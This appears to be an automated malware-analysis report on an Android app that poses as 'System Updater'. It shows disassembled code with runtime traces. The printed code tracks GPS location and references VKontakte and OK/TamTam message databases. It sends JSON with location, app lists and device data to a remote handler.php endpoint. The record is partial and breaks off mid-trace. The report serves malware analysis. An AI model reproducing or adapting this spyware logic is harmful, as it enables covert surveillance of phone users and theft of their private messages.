                    Position Instruction Meta Information
                    0const/4 v3, 0x0
                    1new-instance v0, Landroid/content/Intent;
                    3const-string v1, "com.google.android.c2dm.intent.REGISTER"
                    5invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                    7const-string v1, "app"
                    8new-instance v2, Landroid/content/Intent;
                    10invoke-direct {v2}, Landroid/content/Intent;-><init>()V
                    12invoke-static {p0, v3, v2, v3}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
                    13move-result-object v2
                    15invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
                    • Time: 1276363
                      • This:
                        • Intent { act=com.google.android.c2dm.intent.REGISTER (has extras) }
                      • p0: app
                      • p1: PendingIntent{c744c8d: android.os.BinderProxy@ee5be42}
                      • Return:
                        • Intent { act=com.google.android.c2dm.intent.REGISTER (has extras) }
                    17const-string v1, "sender"
                    19const-string v2, "972206334901"
                    21invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                    • Time: 1276371
                      • This:
                        • Intent { act=com.google.android.c2dm.intent.REGISTER (has extras) }
                      • p0: sender
                      • p1: 972206334901
                      • Return:
                        • Intent { act=com.google.android.c2dm.intent.REGISTER (has extras) }
                    23invoke-virtual {p0, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                    • Time: 1276377
                      • This:
                        • net.vkurhandler.MyApp@133c58d
                      • p0: Intent { act=com.google.android.c2dm.intent.REGISTER (has extras) }
                      • Return:
                        • ComponentInfo{com.google.android.gms/com.google.android.gms.gcm.PushMessagingRegistrarProxy}
                    24return-void
                    Cross References
                    APIs
                    • android.text.TextUtils.isEmpty
                    • java.lang.String.equals
                    • android.content.Context.getPackageManager
                    • android.content.pm.PackageManager.getApplicationInfo
                    • android.content.Context.getPackageManager
                    • android.content.pm.PackageManager.getApplicationLabel
                    Strings
                    • unknown
                    • net.vkurhandler
                    • Utils
                    Position Instruction Meta Information
                    1invoke-static {p1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                    2move-result v0
                    3if-nez v0, :cond_e
                    5const-string v0, "unknown"
                    7invoke-virtual {v0, p1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    8move-result v0
                    9if-eqz v0, :cond_11
                    10cond_e:
                    11const-string v0, "unknown"
                    12goto_10: return-object v0
                    13cond_11:
                    14invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                    15move-result-object v0
                    16const/16 v1, 0x80
                    18invoke-virtual {v0, p1, v1}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
                    • Time: 1273816
                      • This:
                        • android.app.ApplicationPackageManager@6bd6114
                      • packageName: net.vkurhandler
                      • flags: 128
                      • Return:
                        • ApplicationInfo{a96efb2 net.vkurhandler}
                    • Time: 1274274
                      • This:
                        • android.app.ApplicationPackageManager@6bd6114
                      • packageName: net.vkurhandler
                      • flags: 128
                      • Return:
                        • ApplicationInfo{fe2af3 net.vkurhandler}
                    19move-result-object v0
                    21invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                    22move-result-object v1
                    24invoke-virtual {v1, v0}, Landroid/content/pm/PackageManager;->getApplicationLabel(Landroid/content/pm/ApplicationInfo;)Ljava/lang/CharSequence;
                    25move-result-object v0
                    26check-cast v0, Ljava/lang/String;
                    27try_end_25: if-nez v0, :cond_10
                    29const-string v0, "unknown"
                    30goto/16 :goto_10
                    31catch_2a: move-exception v0
                    33const-string v1, "Utils"
                    35invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    37const-string v0, "unknown"
                    38goto/16 :goto_10
                    Cross References
                    APIs
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.String.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    Strings
                    • http://
                    • L2JhY2tlbmQvbmV3L2hhbmRsZXIucGhw
                    • /backend/new/handler.php
                    Position Instruction Meta Information
                    0new-instance v0, Ljava/lang/StringBuilder;
                    2const-string v1, "http://"
                    4invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    6invoke-static {p0}, Lnet/vkurhandler/dc;->b(Landroid/content/Context;)Ljava/lang/String;
                    7move-result-object v1
                    9invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    10move-result-object v0
                    11new-instance v1, Ljava/lang/String;
                    13const-string v2, "L2JhY2tlbmQvbmV3L2hhbmRsZXIucGhw"
                    14const/4 v3, 0x2
                    16invoke-static {v2, v3}, Lcom/a/a/a/j;->a(Ljava/lang/String;I)[B
                    17move-result-object v2
                    19invoke-direct {v1, v2}, Ljava/lang/String;-><init>([B)V
                    • Time: 1274700
                      • This:
                        • /backend/new/handler.php
                      • p0: [B@5922fbe
                      • p0: /backend/new/handler.php
                      • p0: 2F6261636B656E642F6E65772F68616E646C65722E706870
                      • Return:
                        • /backend/new/handler.php
                    • Time: 1277173
                      • This:
                        • /backend/new/handler.php
                      • p0: [B@9c5fbb4
                      • p0: /backend/new/handler.php
                      • p0: 2F6261636B656E642F6E65772F68616E646C65722E706870
                      • Return:
                        • /backend/new/handler.php
                    • Time: 1278057
                      • This:
                        • /backend/new/handler.php
                      • p0: [B@6d6a4ae
                      • p0: /backend/new/handler.php
                      • p0: 2F6261636B656E642F6E65772F68616E646C65722E706870
                      • Return:
                        • /backend/new/handler.php
                    • Time: 1410844
                      • This:
                        • /backend/new/handler.php
                      • p0: [B@2ff5265
                      • p0: /backend/new/handler.php
                      • p0: 2F6261636B656E642F6E65772F68616E646C65722E706870
                      • Return:
                        • /backend/new/handler.php
                    • Time: 1411041
                      • This:
                        • /backend/new/handler.php
                      • p0: [B@a693bbc
                      • p0: /backend/new/handler.php
                      • p0: 2F6261636B656E642F6E65772F68616E646C65722E706870
                      • Return:
                        • /backend/new/handler.php
                    • Time: 1412188
                      • This:
                        • /backend/new/handler.php
                      • p0: [B@76a80a2
                      • p0: /backend/new/handler.php
                      • p0: 2F6261636B656E642F6E65772F68616E646C65722E706870
                      • Return:
                        • /backend/new/handler.php
                    21invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    22move-result-object v0
                    24invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    25move-result-object v0
                    26return-object v0
                    Cross References
                    APIs
                    • java.lang.Object.<init>
                    • android.content.Context.getApplicationContext
                    • android.content.Context.getSystemService
                    • android.content.Context.getSystemService
                    Strings
                    • phone
                    • connectivity
                    • Mobile
                    Position Instruction Meta Information
                    0.annotation build Landroid/annotation/SuppressLint;
                    1value = {
                    2"Correctness",
                    3"Instantiatable"
                    4}
                    5.end annotation
                    7invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                    9invoke-virtual {p1}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                    • Time: 1271816
                      • This:
                        • net.vkurhandler.MyApp@133c58d
                      • Return:
                        • net.vkurhandler.MyApp@133c58d
                    10move-result-object v0
                    11iput-object v0, p0, Lnet/vkurhandler/Mobile;->g:Landroid/content/Context;
                    12try_start_9:
                    13iget-object v0, p0, Lnet/vkurhandler/Mobile;->g:Landroid/content/Context;
                    15const-string v1, "phone"
                    17invoke-virtual {v0, v1}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                    • Time: 1271819
                      • This:
                        • net.vkurhandler.MyApp@133c58d
                      • p0: phone
                      • Return:
                        • android.telephony.TelephonyManager@1c92daf
                    18move-result-object v0
                    19check-cast v0, Landroid/telephony/TelephonyManager;
                    20iput-object v0, p0, Lnet/vkurhandler/Mobile;->a:Landroid/telephony/TelephonyManager;
                    21try_end_15:
                    22iget-object v0, p0, Lnet/vkurhandler/Mobile;->g:Landroid/content/Context;
                    24const-string v1, "connectivity"
                    26invoke-virtual {v0, v1}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                    • Time: 1271824
                      • This:
                        • net.vkurhandler.MyApp@133c58d
                      • p0: connectivity
                      • Return:
                        • android.net.ConnectivityManager@b991945
                    27move-result-object v0
                    28check-cast v0, Landroid/net/ConnectivityManager;
                    29iput-object v0, p0, Lnet/vkurhandler/Mobile;->f:Landroid/net/ConnectivityManager;
                    30goto_21: return-void
                    31catch_22: move-exception v0
                    33const-string v1, "Mobile"
                    35invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    36goto/16 :goto_15
                    37catch_29: move-exception v0
                    39const-string v1, "Mobile"
                    41invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    42goto/16 :goto_21
                    Cross References
                    APIs
                    • org.apache.http.client.methods.HttpUriRequest.getURI
                    • java.net.URI.getScheme
                    • java.net.MalformedURLException.<init>
                    • org.apache.http.impl.client.AbstractHttpClient.execute
                    Strings
                    • No valid URI scheme was provided
                    Position Instruction Meta Information
                    1invoke-virtual {p0}, Lcom/a/a/a/g;->a()Z
                    • Time: 1274841
                      • This:
                        • com.a.a.a.g@7796070
                      • Return:
                        • false
                    2move-result v0
                    3if-eqz v0, :cond_7
                    4goto_6: return-void
                    5cond_7:
                    6iget-object v0, p0, Lcom/a/a/a/g;->c:Lorg/apache/http/client/methods/HttpUriRequest;
                    8invoke-interface {v0}, Lorg/apache/http/client/methods/HttpUriRequest;->getURI()Ljava/net/URI;
                    9move-result-object v0
                    11invoke-virtual {v0}, Ljava/net/URI;->getScheme()Ljava/lang/String;
                    12move-result-object v0
                    13if-nez v0, :cond_1b
                    14new-instance v0, Ljava/net/MalformedURLException;
                    16const-string v1, "No valid URI scheme was provided"
                    18invoke-direct {v0, v1}, Ljava/net/MalformedURLException;-><init>(Ljava/lang/String;)V
                    19throw v0
                    20cond_1b:
                    21iget-object v0, p0, Lcom/a/a/a/g;->a:Lorg/apache/http/impl/client/AbstractHttpClient;
                    23iget-object v1, p0, Lcom/a/a/a/g;->c:Lorg/apache/http/client/methods/HttpUriRequest;
                    25iget-object v2, p0, Lcom/a/a/a/g;->b:Lorg/apache/http/protocol/HttpContext;
                    27invoke-virtual {v0, v1, v2}, Lorg/apache/http/impl/client/AbstractHttpClient;->execute(Lorg/apache/http/client/methods/HttpUriRequest;Lorg/apache/http/protocol/HttpContext;)Lorg/apache/http/HttpResponse;
                    28move-result-object v0
                    30invoke-virtual {p0}, Lcom/a/a/a/g;->a()Z
                    • Time: 1275037
                      • This:
                        • com.a.a.a.g@7796070
                      • Return:
                        • false
                    31move-result v1
                    32if-nez v1, :cond_6
                    34iget-object v1, p0, Lcom/a/a/a/g;->d:Lcom/a/a/a/y;
                    35if-eqz v1, :cond_6
                    37iget-object v1, p0, Lcom/a/a/a/g;->d:Lcom/a/a/a/y;
                    39invoke-interface {v1, v0}, Lcom/a/a/a/y;->a(Lorg/apache/http/HttpResponse;)V
                    40goto/16 :goto_6
                    APIs
                    • java.lang.String.<init>
                    • java.lang.String.<init>
                    Strings
                    • /data/data/ru.ok.android/databases/tamtam_messages.cp
                    • msg_sender
                    • msg_chat_id
                    • msg_text
                    • msg_time
                    Position Instruction Meta Information
                    0const/4 v4, 0x1
                    1const/4 v3, 0x0
                    3const-string v0, "/data/data/ru.ok.android/databases/tamtam_messages.cp"
                    4sput-object v0, Lnet/vkurhandler/dl;->k:Ljava/lang/String;
                    5const/4 v0, 0x4
                    6new-array v0, v0, [Ljava/lang/String;
                    8const-string v1, "msg_sender"
                    9aput-object v1, v0, v3
                    11const-string v1, "msg_chat_id"
                    12aput-object v1, v0, v4
                    13const/4 v1, 0x2
                    15const-string v2, "msg_text"
                    16aput-object v2, v0, v1
                    17const/4 v1, 0x3
                    19const-string v2, "msg_time"
                    20aput-object v2, v0, v1
                    21sput-object v0, Lnet/vkurhandler/dl;->l:[Ljava/lang/String;
                    22new-instance v0, Ljava/lang/String;
                    23new-array v1, v4, [B
                    24const/16 v2, 0xa
                    25aput-byte v2, v1, v3
                    27invoke-direct {v0, v1}, Ljava/lang/String;-><init>([B)V
                    • Time: 1272605
                      • This:
                        • ""
                      • p0: [B@800cbfa
                      • p0: ""
                      • p0: 0A
                      • Return:
                        • ""
                    28sput-object v0, Lnet/vkurhandler/dl;->n:Ljava/lang/String;
                    29new-instance v0, Ljava/lang/String;
                    30new-array v1, v4, [B
                    31const/16 v2, 0x10
                    32aput-byte v2, v1, v3
                    34invoke-direct {v0, v1}, Ljava/lang/String;-><init>([B)V
                    • Time: 1272618
                      • This:
                        • [UNREADABLE UNICODE]
                      • p0: [B@f182408
                      • p0: [UNREADABLE UNICODE]
                      • p0: 10
                      • Return:
                        • [UNREADABLE UNICODE]
                    35sput-object v0, Lnet/vkurhandler/dl;->o:Ljava/lang/String;
                    36return-void
                    Cross References
                    APIs
                    • android.content.IntentFilter.<init>
                    • android.content.Context.registerReceiver
                    • android.content.Intent.getIntExtra
                    • android.content.Intent.getIntExtra
                    Strings
                    • android.intent.action.BATTERY_CHANGED
                    • level
                    • scale
                    Position Instruction Meta Information
                    0const/4 v4, -0x1
                    2iget-object v0, p0, Lnet/vkurhandler/ce;->a:Landroid/content/Context;
                    3const/4 v1, 0x0
                    4new-instance v2, Landroid/content/IntentFilter;
                    6const-string v3, "android.intent.action.BATTERY_CHANGED"
                    8invoke-direct {v2, v3}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
                    10invoke-virtual {v0, v1, v2}, Landroid/content/Context;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
                    • Time: 1402455
                      • This:
                        • net.vkurhandler.MyApp@133c58d
                      • p0: null
                      • p1: android.content.IntentFilter@f183a82
                      • p1.getAction0: android.intent.action.BATTERY_CHANGED
                      • Return:
                        • Intent { act=android.intent.action.BATTERY_CHANGED flg=0x60000010 (has extras) }
                    11move-result-object v0
                    13const-string v1, "level"
                    15invoke-virtual {v0, v1, v4}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
                    16move-result v1
                    18const-string v2, "scale"
                    20invoke-virtual {v0, v2, v4}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
                    21move-result v0
                    22if-eq v1, v4, :cond_1f
                    23if-ne v0, v4, :cond_22
                    24cond_1f: const/16 v0, 0x32
                    25goto_21: return v0
                    26cond_22: int-to-float v1, v1
                    27int-to-float v0, v0
                    28div-float v0, v1, v0
                    29const/high16 v1, 0x42c80000 # 100.0f
                    30mul-float/2addr v0, v1
                    31float-to-int v0, v0
                    32goto/16 :goto_21
                    Cross References
                    APIs
                    • android.util.Log.e
                    Strings
                    • AsyncHttpRequest
                    • makeRequestWithRetries returned error, but handler is null
                    Position Instruction Meta Information
                    0const/4 v3, 0x0
                    2invoke-virtual {p0}, Lcom/a/a/a/g;->a()Z
                    • Time: 1274805
                      • This:
                        • com.a.a.a.g@7796070
                      • Return:
                        • false
                    3move-result v0
                    4if-eqz v0, :cond_8
                    5goto_7: return-void
                    6cond_8:
                    7iget-object v0, p0, Lcom/a/a/a/g;->d:Lcom/a/a/a/y;
                    8if-eqz v0, :cond_11
                    10iget-object v0, p0, Lcom/a/a/a/g;->d:Lcom/a/a/a/y;
                    12invoke-interface {v0}, Lcom/a/a/a/y;->e()V
                    13cond_11:
                    14invoke-virtual {p0}, Lcom/a/a/a/g;->a()Z
                    • Time: 1274820
                      • This:
                        • com.a.a.a.g@7796070
                      • Return:
                        • false
                    15move-result v0
                    16if-nez v0, :cond_7
                    17try_start_17:
                    18invoke-direct {p0}, Lcom/a/a/a/g;->d()V
                    19goto_1a:
                    20invoke-virtual {p0}, Lcom/a/a/a/g;->a()Z
                    • Time: 1275101
                      • This:
                        • com.a.a.a.g@7796070
                      • Return:
                        • false
                    21move-result v0
                    22if-nez v0, :cond_7
                    24iget-object v0, p0, Lcom/a/a/a/g;->d:Lcom/a/a/a/y;
                    25if-eqz v0, :cond_29
                    27iget-object v0, p0, Lcom/a/a/a/g;->d:Lcom/a/a/a/y;
                    29invoke-interface {v0}, Lcom/a/a/a/y;->f()V
                    30cond_29: const/4 v0, 0x1
                    31iput-boolean v0, p0, Lcom/a/a/a/g;->h:Z
                    32goto/16 :goto_7
                    33catch_2d: move-exception v0
                    35invoke-virtual {p0}, Lcom/a/a/a/g;->a()Z
                    36move-result v1
                    37if-nez v1, :cond_3f
                    39iget-object v1, p0, Lcom/a/a/a/g;->d:Lcom/a/a/a/y;
                    40if-eqz v1, :cond_3f
                    42iget-object v1, p0, Lcom/a/a/a/g;->d:Lcom/a/a/a/y;
                    43const/4 v2, 0x0
                    45invoke-interface {v1, v2, v3, v3, v0}, Lcom/a/a/a/y;->b(I[Lorg/apache/http/Header;[BLjava/lang/Throwable;)V
                    46goto/16 :goto_1a
                    47cond_3f:
                    48const-string v1, "AsyncHttpRequest"
                    50const-string v2, "makeRequestWithRetries returned error, but handler is null"
                    52invoke-static {v1, v2, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                    53goto/16 :goto_1a
                    Cross References
                    APIs
                    • java.util.concurrent.atomic.AtomicInteger.incrementAndGet
                    • java.lang.String.valueOf
                    • android.database.sqlite.SQLiteOpenHelper.getWritableDatabase
                    Strings
                    • DatabaseManager
                    • openDatabase->mOpenCounter:
                    Position Instruction Meta Information
                    0const/4 v5, 0x1
                    1monitor-enter p0
                    2try_start_2:
                    3iget-object v0, p0, Lnet/vkurhandler/ao;->a:Ljava/util/concurrent/atomic/AtomicInteger;
                    5invoke-virtual {v0}, Ljava/util/concurrent/atomic/AtomicInteger;->incrementAndGet()I
                    6move-result v0
                    8invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    • Time: 1274137
                      • Return:
                        • true
                    9move-result v1
                    10if-eqz v1, :cond_22
                    12const-string v1, "DatabaseManager"
                    13const/4 v2, 0x2
                    14new-array v2, v2, [Ljava/lang/String;
                    15const/4 v3, 0x0
                    17const-string v4, "openDatabase->mOpenCounter:"
                    18aput-object v4, v2, v3
                    19const/4 v3, 0x1
                    21invoke-static {v0}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
                    22move-result-object v4
                    23aput-object v4, v2, v3
                    25invoke-static {v1, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;[Ljava/lang/String;)V
                    26cond_22: if-ne v0, v5, :cond_2c
                    28sget-object v0, Lnet/vkurhandler/ao;->c:Landroid/database/sqlite/SQLiteOpenHelper;
                    30invoke-virtual {v0}, Landroid/database/sqlite/SQLiteOpenHelper;->getWritableDatabase()Landroid/database/sqlite/SQLiteDatabase;
                    31move-result-object v0
                    32iput-object v0, p0, Lnet/vkurhandler/ao;->d:Landroid/database/sqlite/SQLiteDatabase;
                    33try_start_2c:
                    34iget-object v0, p0, Lnet/vkurhandler/ao;->d:Landroid/database/sqlite/SQLiteDatabase;
                    35try_end_2e: monitor-exit p0
                    36return-object v0
                    37catch_30: move-exception v0
                    38try_start_31:
                    39const-string v1, "DatabaseManager"
                    41invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    42try_end_36: goto/16 :goto_2c
                    43catchall_37: move-exception v0
                    44monitor-exit p0
                    45throw v0
                    Cross References
                    APIs
                    • java.util.concurrent.atomic.AtomicInteger.decrementAndGet
                    • java.lang.String.valueOf
                    • android.database.sqlite.SQLiteDatabase.close
                    Strings
                    • DatabaseManager
                    • closeDatabase->openCounter:
                    Position Instruction Meta Information
                    0monitor-enter p0
                    1try_start_1:
                    2iget-object v0, p0, Lnet/vkurhandler/ao;->a:Ljava/util/concurrent/atomic/AtomicInteger;
                    4invoke-virtual {v0}, Ljava/util/concurrent/atomic/AtomicInteger;->decrementAndGet()I
                    5move-result v0
                    7invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    • Time: 1274526
                      • Return:
                        • true
                    8move-result v1
                    9if-eqz v1, :cond_21
                    11const-string v1, "DatabaseManager"
                    12const/4 v2, 0x2
                    13new-array v2, v2, [Ljava/lang/String;
                    14const/4 v3, 0x0
                    16const-string v4, "closeDatabase->openCounter:"
                    17aput-object v4, v2, v3
                    18const/4 v3, 0x1
                    20invoke-static {v0}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
                    21move-result-object v4
                    22aput-object v4, v2, v3
                    24invoke-static {v1, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;[Ljava/lang/String;)V
                    25cond_21: if-nez v0, :cond_28
                    27iget-object v0, p0, Lnet/vkurhandler/ao;->d:Landroid/database/sqlite/SQLiteDatabase;
                    29invoke-virtual {v0}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    30try_end_28: monitor-exit p0
                    31return-void
                    32catch_2a: move-exception v0
                    33try_start_2b:
                    34const-string v1, "DatabaseManager"
                    36invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    37try_end_30: goto/16 :goto_28
                    38catchall_31: move-exception v0
                    39monitor-exit p0
                    40throw v0
                    Cross References
                    APIs
                    • android.location.LocationManager.getAllProviders
                    • java.util.List.contains
                    • android.location.LocationManager.requestLocationUpdates
                    Strings
                    • gps
                    • network
                    • ProviderLocationTracker
                    Position Instruction Meta Information
                    0iget-boolean v0, p0, Lnet/vkurhandler/da;->e:Z
                    1if-eqz v0, :cond_5
                    2goto_4: return-void
                    3try_start_5:
                    4iget-object v0, p0, Lnet/vkurhandler/da;->a:Landroid/location/LocationManager;
                    6invoke-virtual {v0}, Landroid/location/LocationManager;->getAllProviders()Ljava/util/List;
                    7move-result-object v0
                    9iget-object v1, p0, Lnet/vkurhandler/da;->b:Ljava/lang/String;
                    11invoke-interface {v0, v1}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
                    12move-result v0
                    13if-eqz v0, :cond_4
                    15iget-object v0, p0, Lnet/vkurhandler/da;->a:Landroid/location/LocationManager;
                    17iget-object v1, p0, Lnet/vkurhandler/da;->b:Ljava/lang/String;
                    18const-wide/16 v2, 0x0
                    19const/4 v4, 0x0
                    20move-object v5, p0
                    22invoke-virtual/range {v0 .. v5}, Landroid/location/LocationManager;->requestLocationUpdates(Ljava/lang/String;JFLandroid/location/LocationListener;)V
                    • Time: 1402552
                      • This:
                        • android.location.LocationManager@684f5cb
                      • p0: gps
                      • p1: 0
                      • p2: 0.0
                      • p3: net.vkurhandler.da@aa3e594
                    • Time: 1402558
                      • This:
                        • android.location.LocationManager@684f5cb
                      • p0: network
                      • p1: 0
                      • p2: 0.0
                      • p3: net.vkurhandler.da@3a3c700
                    23const/4 v0, 0x1
                    24iput-boolean v0, p0, Lnet/vkurhandler/da;->e:Z
                    25const/4 v0, 0x0
                    26iput-object v0, p0, Lnet/vkurhandler/da;->c:Landroid/location/Location;
                    27const-wide/16 v0, 0x0
                    28iput-wide v0, p0, Lnet/vkurhandler/da;->d:J
                    29try_end_28: goto/16 :goto_4
                    30catch_29: move-exception v0
                    32const-string v1, "ProviderLocationTracker"
                    34invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    35goto/16 :goto_4
                    Cross References
                    APIs
                    • net.vkurhandler.dr.k:Ljava/lang/String
                    • net.vkurhandler.dj.<init>
                    • java.io.File.<init>
                    • java.io.File.exists
                    • net.vkurhandler.dr.l:Ljava/lang/String
                    • net.vkurhandler.dr.b
                    Strings
                    • com.vkontakte.android
                    • /data/data/com.vkontakte.android/databases/vkim.sqlite
                    Position Instruction Meta Information
                    0const/4 v3, 0x1
                    1const/4 v2, 0x0
                    3const-string v0, "com.vkontakte.android"
                    5sget-object v1, Lnet/vkurhandler/dr;->k:Ljava/lang/String;
                    7invoke-direct {p0, p1, v0, v1, v3}, Lnet/vkurhandler/dj;-><init>(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;I)V
                    8iput-boolean v2, p0, Lnet/vkurhandler/dr;->t:Z
                    9iput-boolean v2, p0, Lnet/vkurhandler/dr;->u:Z
                    10iput-boolean v2, p0, Lnet/vkurhandler/dr;->v:Z
                    11new-instance v0, Ljava/io/File;
                    13const-string v1, "/data/data/com.vkontakte.android/databases/vkim.sqlite"
                    15invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    • Time: 1272796
                      • This:
                        • /data/data/com.vkontakte.android/databases/vkim.sqlite
                      • p0: /data/data/com.vkontakte.android/databases/vkim.sqlite
                      • Return:
                        • /data/data/com.vkontakte.android/databases/vkim.sqlite
                    17invoke-virtual {v0}, Ljava/io/File;->exists()Z
                    • Time: 1272817
                      • This:
                        • /data/data/com.vkontakte.android/databases/vkim.sqlite
                      • Return:
                        • false
                    18move-result v0
                    19if-eqz v0, :cond_26
                    20iput-boolean v3, p0, Lnet/vkurhandler/dr;->t:Z
                    22const-string v0, "/data/data/com.vkontakte.android/databases/vkim.sqlite"
                    23sput-object v0, Lnet/vkurhandler/dr;->l:Ljava/lang/String;
                    25sget-object v0, Lnet/vkurhandler/dr;->l:Ljava/lang/String;
                    26iput-object v0, p0, Lnet/vkurhandler/dr;->a:Ljava/lang/String;
                    27cond_26:
                    28invoke-static {}, Lnet/vkurhandler/dr;->b()V
                    29return-void
                    APIs
                    • android.app.Application.onCreate
                    • java.lang.System.currentTimeMillis
                    • net.vkurhandler.MyApp.y
                    Strings
                    • Application
                    • onCreate
                    Position Instruction Meta Information
                    1invoke-super {p0}, Landroid/app/Application;->onCreate()V
                    2sput-object p0, Lnet/vkurhandler/MyApp;->d:Lnet/vkurhandler/MyApp;
                    4invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                    5move-result-wide v0
                    6sput-wide v0, Lnet/vkurhandler/MyApp;->c:J
                    8invoke-direct {p0}, Lnet/vkurhandler/MyApp;->y()V
                    10invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    • Time: 1274680
                      • Return:
                        • true
                    11move-result v0
                    12if-eqz v0, :cond_1b
                    14const-string v0, "Application"
                    16const-string v1, "onCreate"
                    18invoke-static {v0, v1}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    19cond_1b: return-void
                    Cross References
                    APIs
                    • org.json.JSONObject.toString
                    Strings
                    • params
                    • {"charger":"true","sub_type":"2","bat_level":"100","action":"send_data","name":"","date":"2018-08-31 12:41:18","sms_type":"1","module":"device","message":"null","type":"1","phone_number":"","device_id":"","location":{"speed":"0","lat":"54.13","accuracy":"0","type":"1","lng":"12.14"}}
                    • {"command_id":"0","command":"app_list","action":"send_data","response_base64_zipped":"true","module":"device","type":"3","response":"eJyFU8lOwzAQ\/ZUo58oHkBDihqBwAlVNOSCE0MQeUhPbY7xULaj\/TtqQijohPdp+29jPL985WPtmQGN+lT9TXMQS80lu66rb5KRZRVQpZGCEIynYhmLY4baTI\/q8KLI5gkDXV8A1aPtHwnnvWmgicr+3yq6tPRmjXX5GyWuP4PiypHUqdwNKlg6CJHOsR65iX+horaBkMUjFguegUv6dVOj7SboIgnjUaIKPsudMJgAPI2TeIdIr0CDV6en1wKxoBAzc\/sGxQyTMRwo4A3H62UwDtA0wdV460gO9Ofi25wlrtiQzQhKySdvvB6hmd\/M\/rWoB572QxcYH1NmTFRDSihoMbFVHt2xUBkwX6LQ0oLKpjgoCJewP4LUF1UVo1HtvU2AI0lQjbfAdIvUGX5dDj\/oOTqMrSxZaRKe0vrxINR6il7yvwDdgqEKjSTBUuEIzUCk+NHFSql\/MWUqfDje5Y+L+OLVUxOuRVqCv+R6S8G5xlS2I1NhvbUZUZHcfNt++\/gDb6cBp","device_id":""}
                    • {"module":"client","action":"get_lic"}
                    • {"module":"preference","action":"load","device_id":"","app_name":"System Updater","pkg_name":"net.vkurhandler","domain_id":0}
                    Position Instruction Meta Information
                    0new-instance v0, Lcom/a/a/a/v;
                    2invoke-direct {v0}, Lcom/a/a/a/v;-><init>()V
                    4const-string v1, "params"
                    6invoke-virtual {p1}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                    • Time: 1274363
                      • This:
                        • {}
                      • Return:
                        • {"module":"preference","action":"load","device_id":"","app_name":"System Updater","pkg_name":"net.vkurhandler","domain_id":0}
                    • Time: 1277017
                      • This:
                        • {}
                      • Return:
                        • {"module":"client","action":"get_lic"}
                    • Time: 1277882
                      • This:
